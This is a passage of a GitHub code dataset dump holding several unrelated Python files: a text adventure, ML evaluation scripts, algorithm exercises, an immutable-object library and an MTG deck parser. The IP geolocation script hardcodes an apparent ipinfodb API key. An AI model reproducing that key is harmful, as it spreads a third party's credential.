order, second order, etc.) (unitless)\n        c0  = intital concentration inside reactor (SI or US: mg/L)\n        \"\"\"\n        # Get current time\n        current_step = self.sim.current_time\n        # Calculate model dt in seconds\n        dt = (current_step - self.last_timestep).total_seconds()\n        # Updating reference step\n        self.last_timestep = current_step\n\n        for node in self.node_dict:\n            for pollutant in self.node_dict[node]:\n                # Get parameters\n                Qin = self.sim._model.getNodeResult(node,0)\n                Cin = self.sim._model.getNodeCin(node,pollutant)\n                Qout = self.sim._model.getNodeResult(node,1)\n                V = self.sim._model.getNodeResult(node,3)\n                k = self.node_dict[node][pollutant][0]\n                n = self.node_dict[node][pollutant][1]\n                c0 = self.node_dict[node][pollutant][2]\n                # Parameterize solver\n                self.solver.set_f_params(Qin,Cin,Qout,V,k,n)\n                # Solve ODE\n                if index == 0:\n                    self.solver.set_initial_value(c0, 0.0)\n                    self.solver.integrate(self.solver.t+dt)\n                else:\n                    self.solver.set_initial_value(self.solver.y, self.solver.t)\n                    self.solver.integrate(self.solver.t+dt)\n                # Set new concentration\n                self.sim._model.setNodePollutant(node, pollutant, self.solver.y[0])\n\n","repo_name":"michaeltryby/wq_toolbox","sub_path":"wq_toolbox/nodes.py","file_name":"nodes.py","file_ext":"py","file_size_in_byte":11397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21194788705","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Sep 15 17:31:00 2020\r\n\r\n@author: dougb\r\n\"\"\"\r\n\r\nimport time\r\n\r\nstart = int(time.time())\r\n\r\nimport random\r\n\r\nprint(\"Welcome to the game, please type your player name.\")\r\nplayerName = input()\r\n\r\n#below are all the scripts for the various encounters\r\nfrontDoor = \"This is the front door of the manor.  Type 'bell' to ring the bell.\"\r\nservantDoor = \"This is the servant's entrance.  Type 'knock' to to get someone's attention\"\r\nstablePath = \"This is the path to the stables.  Type 'walk' if you wish to proceed.\"\r\nbutler1 = \"Hello I'm Frederick, the head butler.  Please wait here while I summon the master.\\n\"\r\nhousekeeper = \"I'm Margaret, the head housekeeper.  It's about time you got here.  Are you ready to get to work.\\nType 'yes' to get to work\"\r\nbutler2 = \"I'm Frederick, the head butler.  Hurry up then, will you come this way?\\nType 'yes' to follow.\"\r\ngroudskeeper = \"The trouble is down here.  Will you follow me?\\nType 'yes' to follow.\"\r\nyoungMaster = \"The 'issue' is down this way.  Will you follow me.\\nType 'yes' to follow Reggie.\"\r\nparlor = str(playerName) + \"!  Well hello old chap!  Come join me for a drink in the parlor.\\n\"\r\ndiningRoom = str(playerName) + \"!  So good to see you again.  You're a bit late old boy, but come join the others in the dining room.\\n\"\r\nlibrary = \"Thank goodness you're here detective.  This way, the first body is in the library.\\n\"\r\nkitchen = \"Come along now to the kitchen.\\nGet to work on all these dirty dishes.  We've got guests coming tonight.\\n\"\r\nguestRoom = \"Come along to the south wing.\\nWe've got guests coming tonight and you need to get all these rooms ready.\\n\"\r\ngarden = \"Follow me to the garden.  We're having a devil of a time with the irrigation system.\\n\"\r\npumpHouse = \"Follow me to the pump house.  The irrigation pump has gone out on us.\\n\"\r\npond = \"Come down to the pond, detective.  That's where we found the second body.\\n\"\r\n\r\n\r\n\r\ndef piedmont():\r\n    \r\n    def entrance(): \r\n        print(\"\\nYou've arrived at Piedmont Manor, \" + str(playerName) + \".\\nWould you like to enter the grounds?\\nType 'enter' to begin.\")\r\n        if input() == \"enter\":\r\n            time.sleep(2)\r\n            portal()\r\n        else: ender()\r\n    #this is the first greeting of the game\r\n    \r\n    def portal():\r\n        portalChoice = random.randint(1,3)\r\n        if portalChoice == 1:\r\n            frontDoorGreet()\r\n        if portalChoice == 2:\r\n            servantDoorGreet()\r\n        if portalChoice == 3:\r\n            stablePathGreet()\r\n    # this chooses which entrance the player takes\r\n            \r\n    def frontDoorGreet():\r\n        print(frontDoor)\r\n        if input() == \"bell\":\r\n            time.sleep(3)\r\n            print(butler1)\r\n            time.sleep(4)\r\n            print(\"Lord Piedmont, \" + str(playerName) + \" is here to see you.\\n\")\r\n            time.sleep(1)\r\n            room1()\r\n        else: ender()\r\n    #greeting by the butler at the front door.  Sleeps while butler fetches master.\r\n            \r\n    def servantDoorGreet():       \r\n        print(servantDoor)\r\n        if input() == \"knock\":\r\n            time.sleep(3)\r\n            print(\"Hang on! I'm coming!\\n\")\r\n            time.sleep(5)\r\n            servant()\r\n        else: ender()\r\n    #greeting by housekeeper or butler at servant's entrance\r\n            \r\n    def stablePathGreet():\r\n            print (stablePath)\r\n            if input() == \"walk\":\r\n                time.sleep(4)\r\n                room3()\r\n            else: ender()\r\n    #greeting by groundskeeper or young master at the stables.\r\n    \r\n    def room1():\r\n        roomChoice1 = random.randint(1,3)\r\n        if roomChoice1 == 1:\r\n            print(parlor)\r\n            time.sleep(5)\r\n        if roomChoice1 == 2:\r\n            print(diningRoom)\r\n            time.sleep(5)\r\n        if roomChoice1 == 3:\r\n            print(library)\r\n            time.sleep(5)\r\n    #greeting by lord piedmont and chooses the room you go to.\r\n    \r\n    def servant():\r\n        def room2():\r\n            roomChoice2 = random.randint(1,3)\r\n            if roomChoice2 == 1:\r\n                print(kitchen)\r\n                time.sleep(5)\r\n            if roomChoice2 == 2:\r\n                print(guestRoom)\r\n                time.sleep(5)\r\n            if roomChoice2 == 3:\r\n                print(library)\r\n                time.sleep(5)\r\n\r\n        greeter2 = random.randint(1,2)\r\n        if greeter2 == 1:\r\n            print(housekeeper)\r\n            if input() == \"yes\":\r\n                time.sleep(1)\r\n                room2()\r\n            else: ender()\r\n        if greeter2 == 2:\r\n            print(butler2)\r\n            if input() == \"yes\":\r\n                time.sleep(1)\r\n                room2()\r\n            else: ender()\r\n        \r\n    #greeting by either butler or housekeeper and direction to your task\r\n\r\n    def room3():\r\n        greeter3 = random.randint(1,2)\r\n        roomChoice3 = random.randint(1,3)\r\n        if greeter3 == 1:\r\n            print(\"Hello, I'm Franklin the groundskeeper.\")\r\n        if greeter3 == 2:\r\n            print(\"I'm Reggie Piedmont, Lord Piedmont's son.\")\r\n        if roomChoice3 == 1:\r\n            print(garden)\r\n            time.sleep(5)\r\n        if roomChoice3 == 2:\r\n            print(pumpHouse)\r\n            time.sleep(5)\r\n        if roomChoice3 == 3:\r\n            print(pond)\r\n            time.sleep(5)\r\n    #greeting by either groundskeeper or young master Reggie and direction to your task\r\n    \r\n    def ender():\r\n        print(\"Thanks for playing.\")\r\n     \r\n    def finish():\r\n        finish = int(time.time())\r\n        print(\"You've been playing this game for \" + (str(finish - start)) + \" seconds.\\nWould you like to play again?\")\r\n        if input() == \"yes\":\r\n            time.sleep(2)\r\n            piedmont()\r\n        else:\r\n            print(\"Thanks for playing.\")\r\n\r\n    entrance()\r\n    \r\n    finish()\r\n\r\npiedmont()\r\n\r\n\r\n","repo_name":"dougbrown1048/ETR107-Projects","sub_path":"Pathway game v2b.py","file_name":"Pathway game v2b.py","file_ext":"py","file_size_in_byte":5889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30660156263","text":"import argparse\nimport gradio as gr\nimport torch\nfrom mnist_net import MNISTNet\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\ndef recognize_digit(image):\n    image = torch.tensor(image, dtype=torch.float32, device=device).unsqueeze(0).unsqueeze(0) / 255.  # add a batch dimension\n    prediction = model(image)[0]\n    probabilities = torch.nn.functional.softmax(prediction, dim=0)\n    return {str(i): probabilities[i].item() for i in range(10)}\n\nif __name__=='__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--weights_path', type=str, default = 'mnist_model.pth', help='weights path')\n    args = parser.parse_args()\n\n    model = MNISTNet().to(device)\n    model.load_state_dict(torch.load(args.weights_path, map_location=device))\n    model.eval()\n\n    gr.Interface(fn=recognize_digit, \n                inputs=\"sketchpad\", \n                outputs=gr.outputs.Label(num_top_classes=3),\n                live=True,\n                description=\"Draw a number on the sketchpad to see the model's prediction.\",\n                ).launch(debug=True, share=True);","repo_name":"DavidBert/N7-techno-IA","sub_path":"code/developpement/mnist_app.py","file_name":"mnist_app.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"31355437877","text":"# math, dp, combination\n\ndef factorial(n):\n    if n == 0 or n == 1:\n        return n\n    else:\n        return n * factorial(n - 1)\n\nfor i in range(int(input())):\n    # input\n    n, m = map(int, input().split())\n\n    if n == m:\n        print(1)\n    else:\n        if n < m:\n            n, m = m, n\n        \n        print(factorial(n) // (factorial(n -m) * factorial(m)))\n","repo_name":"myae3080/Algorithm-Study","sub_path":"Baekjoon/python/1010.py","file_name":"1010.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19107041883","text":"class Solution:\n    def groupAnagrams(self, strs: list[str]) -> list[list[str]]:\n        if len(strs) == 1: return [strs]\n\n        sorted_strs = []\n        for i in strs:\n            sorted_strs.append(\"\".join(sorted(i, key=str.lower)))\n        \n        result = []\n        while len(sorted_strs) > 0:\n            indices = [idx for idx, val in enumerate(sorted_strs) if sorted_strs[0] == val][::-1]\n            tmp = []\n            for idx in indices:\n                tmp.append(strs[idx])\n                sorted_strs.pop(idx)\n                strs.pop(idx)\n            result.append(tmp)\n        return result\n\n\nstrs = [\"eat\",\"tea\",\"tan\",\"ate\",\"nat\",\"bat\"]\nsol = [[\"bat\"],[\"nat\",\"tan\"],[\"ate\",\"eat\",\"tea\"]]\nsc = Solution()\ns = sc.groupAnagrams(strs)\n\nprint(s)\nprint(s == sol)\n","repo_name":"amatree/py3-leetcode","sub_path":"Medium/49. GroupAnagrams.py","file_name":"49. GroupAnagrams.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38819138773","text":"length = int(input())\nwidth = int(input())\nheight = int(input())\n\nlength1 = int(input())\nwidth1 = int(input())\nheight1 = int(input())\n\ncount1 = (length // length1) * (width // width1) * (height // height1)\ncount2 = (length // length1) * (width // height1) * (height // width1)\ncount3 = (length // height1) * (width // length1) * (height // width1)\ncount4 = (length // height1) * (width // width1) * (height // length1)\ncount5 = (length // width1) * (width // height1) * (height // length1)\ncount6 = (length // width1) * (width // length1) * (height // height1)\n\nprint(max(max(max(count1, count2), max(count3, count4)), max(count5, count6)))\n","repo_name":"Gandja/Algorithms-on-Python","sub_path":"second-week/Складирование ноутбуков.py","file_name":"Складирование ноутбуков.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39327110303","text":"from typing import List, Optional, Sequence, Union\nfrom abc import abstractmethod, ABC\nfrom copy import deepcopy\nfrom sys import _getframe as get_stack\n\nfrom frozen_box.exception import FrozenException, FrozenKeyError, FrozenValueError\n\nQueryableItem = Union[str, int, slice]\nQueryable = Union[QueryableItem, Sequence[QueryableItem]]\n\n\nclass Frozen(ABC):\n    def __init__(self, *args, **kwargs):\n        pass\n\n    @abstractmethod\n    def unpack(self):\n        raise NotImplementedError()\n\n\nclass _FrozenBool(Frozen, int):\n    def __init__(self, value, **kwargs):\n        value = 1 if value else 0\n        super().__init__(value, **kwargs)\n\n    def __bool__(self):\n        return True.__bool__() if self != 0 else False.__bool__()\n\n    def __str__(self):\n        return True.__str__() if self != 0 else False.__bool__()\n\n    def __repr__(self):\n        return True.__repr__() if self != 0 else False.__repr__()\n\n    def unpack(self):\n        return bool(self)\n\n\ndef _make_frozen_bool(value):\n    return _FrozenBool(1 if value else 0)\n\n\ndef _simple_frozen_class(name: str, cls: type):\n    return type(\n        name,\n        (Frozen, cls),\n        {'unpack': lambda s: cls(s)}\n    )\n\n\nFrozenBool = _make_frozen_bool\nFrozenInt = _simple_frozen_class('FrozenInt', int)\nFrozenFloat = _simple_frozen_class('FrozenFloat', float)\nFrozenComplex = _simple_frozen_class('FrozenComplex', complex)\nFrozenFrozenSet = _simple_frozen_class('FrozenFrozenSet', frozenset)\nFrozenStr = _simple_frozen_class('FrozenFrozenSet', str)\nFrozenBytes = _simple_frozen_class('FrozenBytes', bytes)\n\n_simple_types = (\n    bool,\n    int,\n    float,\n    complex,\n    frozenset,\n    str,\n    bytes,\n)\n_simple_classes = (\n    FrozenBool,\n    FrozenInt,\n    FrozenFloat,\n    FrozenComplex,\n    FrozenFrozenSet,\n    FrozenStr,\n    FrozenBytes,\n)\n\n\nclass _Carrier:\n    __slots__ = ('data',)\n\n    def __init__(self, data):\n        self.data = data\n\n\nclass FrozenObject(Frozen):\n    def __init__(self, data):\n        super().__init__()\n        t = type(data)\n        if t == _Carrier:\n            self._data = data.data\n        elif t == FrozenObject:\n            self._data = data._data\n        else:\n            try:\n                idx = _simple_classes.index(t)\n                self._data = _simple_types[idx](data)\n            except ValueError:\n                self._data = deepcopy(data)\n\n    @classmethod\n    def _cast(cls, value: str) -> Union[str, float]:\n        if not value:\n            return value\n        try:\n            res = int(value)\n        except ValueError:\n            res = value\n        return res\n\n    @classmethod\n    def _convert(cls, value: str):\n        if ':' in value:\n            items = value.split(':')\n            for i, item in enumerate(items):\n                casted = cls._cast(item)\n                items[i] = casted if casted else None\n            res = slice(*items)\n        else:\n            res = cls._cast(value)\n        return res\n\n    @classmethod\n    def _pack(cls, data):\n        try:\n            idx = _simple_types.index(type(data))\n            return _simple_classes[idx](data)\n        except ValueError:\n            return cls(_Carrier(data))\n\n    @classmethod\n    def _split_queries(cls, query: str) -> List[Queryable]:\n        if not query:\n            raise FrozenValueError('Param \"query\" is empty')\n        length = len(query)\n        if length == 1:\n            return [query]\n        seq = []\n        start, i = 0, 0\n        item = ''\n        # TODO: switch escaping char from '.' to '`'\n        while i < length:\n            if query[i] == '.':\n                if i + 1 < length and query[i + 1] == '.':\n                    i += 1\n                    item += query[start:i]\n                else:\n                    item += query[start:i]\n                    seq.append(cls._convert(item))\n                    item = ''\n                i += 1\n                start = i\n            else:\n                i += 1\n        if start < length:\n            item += query[start:]\n        seq.append(cls._convert(item))\n        return seq\n\n    def __getattribute__(self, item):\n        if item == '_data':\n            try:\n                stack = get_stack(1)\n                caller = stack.f_locals.get('self')\n                method = stack.f_code.co_name\n                if not isinstance(caller, Frozen) or not method.startswith('__'):\n                    raise FrozenKeyError(item)\n            except ValueError:\n                pass\n        return super().__getattribute__(item)\n\n    @classmethod\n    def _getitem(cls, data, item: QueryableItem):\n        if isinstance(item, (int, slice)):\n            return data.__getitem__(item)\n        elif isinstance(item, str):\n            try:\n                return data.__getitem__(item)\n            except AttributeError or KeyError:\n                try:\n                    return getattr(data, item)\n                except AttributeError:\n                    raise FrozenKeyError(item) from None\n\n    def __getitem__(self, query: Queryable) -> Frozen:\n        if isinstance(query, slice):\n            data = self._data.__getitem__(query)\n        elif isinstance(query, int):\n            data = self._data.__getitem__(query)\n        elif isinstance(query, str):\n            queries = self._split_queries(query)\n            data = self._data\n            for q in queries:\n                data = self._getitem(data, q)\n        else:\n            raise FrozenKeyError(f'Type {type(query)} is not queryable')\n        return self._pack(data)\n\n    def get(self, query: Queryable) -> Optional[Frozen]:\n        try:\n            return self.__getitem__(query)\n        except KeyError:\n            return None\n\n    def __getattr__(self, query: str) -> Frozen:\n        # check frame 1, 2 to determine what _init should be\n        if query == '_init':\n            try:\n                stack = get_stack(1)\n                caller = stack.f_locals.get('self')\n                if isinstance(caller, Frozen):\n                    stack = stack.f_back\n                    caller = stack.f_locals.get('self')\n                    method = stack.f_code.co_name\n                    if isinstance(caller, Frozen) and method == '__init__':\n                        return FrozenBool(1)\n                    else:\n                        return FrozenBool(0)\n            except ValueError:\n                pass\n        return self.__getitem__(query)\n\n    def __setitem__(self, key, value):\n        raise FrozenValueError('Frozen object is immutable')\n\n    def __setattr__(self, key, value):\n        if not self._init:\n            raise FrozenValueError('Frozen object is immutable')\n        super().__setattr__(key, value)\n\n    def __eq__(self, other):\n        if isinstance(other, FrozenObject):\n            if id(self) == id(other):\n                return True\n            if self._data == other._data:\n                return True\n            return False\n        return False\n\n    def unpack(self):\n        return deepcopy(self._data)\n\n\ndef freeze(data):\n    try:\n        if isinstance(data, Frozen):\n            return type(data)(data)\n        idx = _simple_types.index(type(data))\n        return _simple_classes[idx](data)\n    except ValueError:\n        return FrozenObject(data)\n","repo_name":"leavers/frozen-box","sub_path":"frozen_box/frozen_class.py","file_name":"frozen_class.py","file_ext":"py","file_size_in_byte":7221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29192470587","text":"\"\"\" One way to measure the time cost of an algorithm is to use computer’s\nclock to obtain actual run time\n\nBenchmarking or profiling\n\nCan use time() in time module\nReturns number of seconds that have elapsed between current time on the computer’s\nclock and January 1, 1970\n \"\"\"\nimport time\n\n\ndef ourMin(lyst):\n    # Returns the position of the minimum item.\n    minpos = 0\n    current = 1\n    while current < len(lyst):\n        if lyst[current] < lyst[minpos]:\n            minpos = current\n        current += 1\n    return minpos\n\n\nx = [1, 2, 3, 4, 5, 6]\nprint(x)\n\nleft = 0\nright = len(x) - 1\n\nval = 6\n\nwhile left <= right:\n    middle = (left + right) // 2\n    print(left, \", \", right, \", \", middle, \", \", x[left], \", \", x[right], \", \", x[middle])\n\n    if val == x[middle]:\n        print(\"found it\")\n        break\n    elif val <= x[middle]:\n        print(\"smaller\")\n        right = middle - 1\n    else:\n        print(\"bigger\")\n        left = middle + 1\n\nprint()\n\n\ndef swap(a, b):\n    temp = x[a]\n    x[a] = x[b]\n    x[b] = temp\n\n\n#\n\nx = [8, 2, 5, 9, 1, 4]\nprint(x)\n\nswapped = True\ncnt = 1\nwhile swapped:\n    swapped = False\n    print(\"iteration:\", cnt)\n    cnt += 1\n    # input()\n    for i in range(len(x) - 1):\n        if x[i] > x[i + 1]:\n            swap(i, i + 1)\n            swapped = True\n            print(x)\n    #\n\nprint(\"Completed: \", x)\n\n\n\n","repo_name":"mbkhan721/PycharmProjects","sub_path":"pythonProject/SearchSort.py","file_name":"SearchSort.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"73260203071","text":"from dataclasses import dataclass, field\n\nfrom mlrgetpy.citation.FormatAbstract import FormatAbstract\nfrom mlrgetpy.citation.PlainCitation import PlainCitation\n\nfrom .Bibtext import Bibtext\n\n@dataclass\nclass CitationFactory:\n\n    @staticmethod\n    def create(type:str = \"bibtext\") -> FormatAbstract:\n        \n        object:FormatAbstract = None\n\n        if type == \"bibtext\":\n            object =  Bibtext()\n        elif type == \"plaintext\":\n            object = PlainCitation()\n        \n        return object","repo_name":"jos101/mlgetpy","sub_path":"mlrgetpy/citation/CitationFactory.py","file_name":"CitationFactory.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27961717579","text":"\nimport os\nimport sys\nimport argparse\nimport numpy as np\nimport pandas as pd\nimport cv2\nfrom tqdm import tqdm\n\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms, utils\nimport torch.backends.cudnn as cudnn\n\n\nfrom pytvision.transforms.aumentation import  ObjectImageMetadataTransform\nfrom pytvision.transforms import transforms as mtrans\n\nfrom torchlib.datasets import tgsdata\nfrom torchlib.datasets.tgsdata import TGSDataset\nfrom torchlib.segneuralnet import SegmentationNeuralNet\nfrom torchlib.transforms import functional as F\nfrom torchlib.utility import rle_encode, sigmoid\nfrom torchlib.metrics import intersection_over_union, intersection_over_union_thresholds\nfrom torchlib.netlosses import Dice\n\nfrom argparse import ArgumentParser\n\n\ndef arg_parser():\n    \"\"\"Arg parser\"\"\"    \n    parser = ArgumentParser()\n    parser.add_argument('--project',     metavar='DIR',  help='path to projects')\n    parser.add_argument('--projectname', metavar='DIR',  help='name projects')\n    parser.add_argument('--pathdataset', metavar='DIR',  help='path to dataset')\n    parser.add_argument('--namedataset', metavar='S',    help='name to dataset')\n    parser.add_argument('--pathnameout', metavar='DIR',  help='path to out dataset')\n    parser.add_argument('--filename',    metavar='S',    help='name of the file output')\n    parser.add_argument('--model',       metavar='S',    help='filename model')  \n    return parser\n\n\n\nif __name__ == '__main__':\n    \n    parser = arg_parser();\n    args = parser.parse_args();\n\n    # Configuration\n    project         = args.project\n    projectname     = args.projectname\n    pathnamedataset = os.path.join( args.pathdataset, args.namedataset )\n    pathnamemodel   = args.model\n    pathnameout     = args.pathnameout\n    filename        = args.filename\n    \n    cuda=False\n    parallel=False\n    gpu=0\n    seed=1\n    imsize=101\n\n\n    # Load dataset\n    print('>> Load dataset ...')\n\n    dataset = TGSDataset(  \n        pathnamedataset, \n        'train', \n        num_channels=3,\n        train=True, \n        files='train.csv',\n        transform=transforms.Compose([\n            mtrans.ToResize( (256,256), resize_mode='squash', padding_mode=cv2.BORDER_REFLECT_101 ),\n            #mtrans.ToResizeUNetFoV(imsize, cv2.BORDER_REFLECT_101),\n            mtrans.ToTensor(),\n            #mtrans.ToNormalization(), \n            mtrans.ToMeanNormalization( mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225], )\n            ])\n        )\n\n    # load model\n    print('>> Load model ...')\n\n    net = SegmentationNeuralNet( \n        patchproject=project, \n        nameproject=projectname, \n        no_cuda=cuda, \n        parallel=parallel, \n        seed=seed, \n        gpu=gpu \n        )\n\n    if net.load( pathnamemodel ) is not True:\n        assert(False)\n\n    y_pred = []\n    y_true = []\n    \n    #dice = Dice()\n    #dices = []\n\n    index = []\n    for idx in tqdm( range( len(dataset)  ) ):  #len(dataset)\n        \n        sample = dataset[ idx ]    \n        mask = sample['label'][1,:,:].data.numpy()\n        #mask = mask[92:92+116, 92:92+116]\n        \n        idname = dataset.getimagename( idx )\n        score = net( sample['image'].unsqueeze(0) )        \n        \n        ###\n        #dices.append(dice(score.data.cpu(), sample['label'].data.unsqueeze(0)).data[0] )\n        #score = score.data.cpu().numpy().transpose(2,3,1,0)[...,0]\n        ###            \n            \n        #score = F.resize_unet_inv_transform( score, (101,101,3), 101, cv2.INTER_LINEAR )\n        #mask  = F.resize_unet_inv_transform( mask , (101,101,3), 101, cv2.INTER_LINEAR )\n        \n        pred  = np.argmax( score, axis=2 )\n        #pred  =  score[:,:,1]  > 0.5 #sigmoid()\n        \n        index.append( pred.sum() > 10 )\n\n        y_true.append( mask.astype(int) )\n        y_pred.append( pred.astype(int) )\n        \n    #print(dices)\n    #dices = np.stack(dices,axis=0)\n    #print(dices.mean())\n    \n    index  = np.stack( index , axis=0 )\n    y_true = np.stack( y_true, axis=0 ) \n    y_pred = np.stack( y_pred, axis=0 )\n        \n    iout = intersection_over_union_thresholds( y_true[index], y_pred[index] )\n    iou  = intersection_over_union( y_true[index], y_pred[index] )\n\n    print('IOUT:', iout )\n    print('OUT:', iout )\n\n    print('dir: {}'.format(filename))\n    print('DONE!!!')\n\n\n","repo_name":"pedrodiamel/kaggle-tgs-salt-identification","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":4337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40373006355","text":"#!/usr/bin/env python3\nimport urllib.request\nimport re\nimport json\n\nurlopen = urllib.request.urlopen\n\n\ndef query_hostip(ip_addr):\n    ''' return \"country - city\"\n    example result of hostip.info\n    -----------------------------\n    Country: UNITED STATES (US)\n    City: Aurora, TX\n\n    Latitude: 33.0582\n    Longitude: -97.5159\n    IP: 12.215.42.19\n    -----------------------------\n    '''\n    url = 'http://api.hostip.info/get_html.php?ip=%s&position=true' % ip_addr\n\n    reg_expr = r\"Country: (?P<country>.+)\\W+\" + \\\n               r\"City: (?P<city>.+)\\W+\" + \\\n               r\"Latitude: (?P<latitude>.+)\\W+\" + \\\n               r\"Longitude: (?P<longtitude>.+)\\W+\" + \\\n               r\"IP: (?P<IP>.+)\\W*\"\n    response = urlopen(url).read().decode()\n    m = re.match(reg_expr, response)\n    if m:\n        result = m.groupdict()\n        return \"%s - %s\" % (result['country'], result['city'])\n    else:\n        return \"Unknown\"\n\n\ndef query_ipinfodb(ip_addr):\n    ''' example query result:\n    {'cityName': 'MOUNTAIN VIEW',\n     'countryCode': 'US',\n     'countryName': 'UNITED STATES',\n     'ipAddress': '8.8.8.8',\n     'latitude': '37.3861',\n     'longitude': '-122.084',\n     'regionName': 'CALIFORNIA',\n     'statusCode': 'OK',\n     'statusMessage': '',\n     'timeZone': '-07:00',\n     'zipCode': '94043'}\n     '''\n    api_key = \"e4da25257ba7881f043f5944bc7a3e021ef9c9c73d5e8d3cc976bffb714760cf\"\n    url = \"http://api.ipinfodb.com/v3/ip-city/?key=%s&ip=%s&format=json\" % (api_key, ip_addr)\n\n    response = urlopen(url)\n    dictdata = json.loads(response.read().decode())\n    response.close()\n    if dictdata['statusCode'] != 'OK':\n        return \"Unknown\"\n    else:\n        return \"%s - %s\" % (dictdata['countryName'], dictdata['cityName'])\n        #return \"%s - %s\" % (dictdata['latitude'], dictdata['longitude'])\n\n\ndef ip_location(ip):\n    #return ip_location_hostip(ip)\n    return query_ipinfodb(ip)\n\n\nif __name__ == '__main__':\n    import sys\n    import socket\n\n    if len(sys.argv) != 2:\n        print(\"Syntax: %s host\" % sys.argv[0])\n    try:\n        ip_addr = socket.gethostbyname(sys.argv[1])\n    except:\n        print(\"ERROR: Please give a valid host.\")\n        exit(-1)\n    print(\"IP:%s \\t%s\" % (ip_addr, ip_location(ip_addr)))\n    exit(0)\n","repo_name":"oneyoung/toy-python","sub_path":"dns_query/ip_location.py","file_name":"ip_location.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9213049729","text":"import pandas as pd\r\nimport numpy as np\r\nfrom mtgsdk import Card\r\nimport pickle\r\nimport re\r\n\r\n\r\ndef main():\r\n    # open cardlist.bin\r\n    with open('cardlist.bin', 'rb') as f:\r\n        cards = pickle.load(f)\r\n    # inport deck data\r\n    TP = r'C:\\temp\\Deck - Gipsy Danger.txt'\r\n    print('input data path')\r\n    dl = get_kingyo_DeckList(TP)  # get Kingyo format data\r\n    df_d = listToPD(dl)  # Reformat list\r\n    deck = [nameToCardData(item['name'], cards) for index, item in df_d.iterrows()]  # Get deck card data\r\n    df_mana = pd.DataFrame(index=[], columns=['number'])\r\n    for card in deck:\r\n        print(card.name)\r\n        df_mana.loc[card.name] = 0\r\n        if '//' in card.name:  # Trap double-faced cards\r\n            dfc = splitDoubleFaceCard(card.name)\r\n            df_mana.at[card.name, 'number'] = df_d.at[df_d.index[df_d['name'] == dfc[0]].tolist()[0], 'number']\r\n        else:\r\n            df_mana.at[card.name, 'number'] = df_d.at[df_d.index[df_d['name'] == card.name].tolist()[0],'number']\r\n        if card.mana_cost:\r\n            for mana in manaSplit(card.mana_cost):\r\n                if mana in df_mana.columns.values:  # 既にある場合\r\n                    df_mana.at[card.name, mana] += 1\r\n                else:\r\n                    df_mana[mana] = 0\r\n                    df_mana.at[card.name, mana] += 1\r\n    print(df_mana)\r\n\r\ndef get_kingyo_DeckList(TP):\r\n    dl = []\r\n    with open(TP, \"r\", encoding='UTF-8') as file:\r\n        for i in file:\r\n            dl.append(i.rstrip('\\n'))\r\n    return dl\r\n\r\n\r\ndef listToPD(dl):  # MTG decklist format re-format ['number', 'name']\r\n    dl2 = []\r\n    for l in dl:\r\n        dl2.append(l.split(' ', 1))\r\n    dfDeck = pd.DataFrame(dl2, columns=['number', 'name'])\r\n    return dfDeck\r\n\r\n\r\ndef nameToCardData(c_name, cards):\r\n    if c_name:\r\n        for card in cards:\r\n            if '//' in card.name:  # Processing double-faced cards\r\n                dfc = splitDoubleFaceCard(card.name)\r\n                if c_name in dfc:\r\n                    return card\r\n            elif card.name == c_name:  # Processing one-faced cards\r\n                return card\r\n        return 'not found'\r\n    else:\r\n        return 0\r\n\r\ndef manaSplit(manaCost):\r\n    op = []\r\n    gm = 0\r\n    manas = re.findall(\"(?<=\\{).+?(?=\\})\", manaCost)\r\n    for mana in manas:\r\n        if mana.isdigit() :\r\n            gm = int(mana)\r\n        else:\r\n            op.append(mana)\r\n    if gm:\r\n        op[0:0] = ['GM']*gm\r\n    return op\r\n\r\ndef splitDoubleFaceCard(name):\r\n    return name.split(' // ')\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"7thTP/EDH_ManaBase_JishinNiki","sub_path":"get_manaData.py","file_name":"get_manaData.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
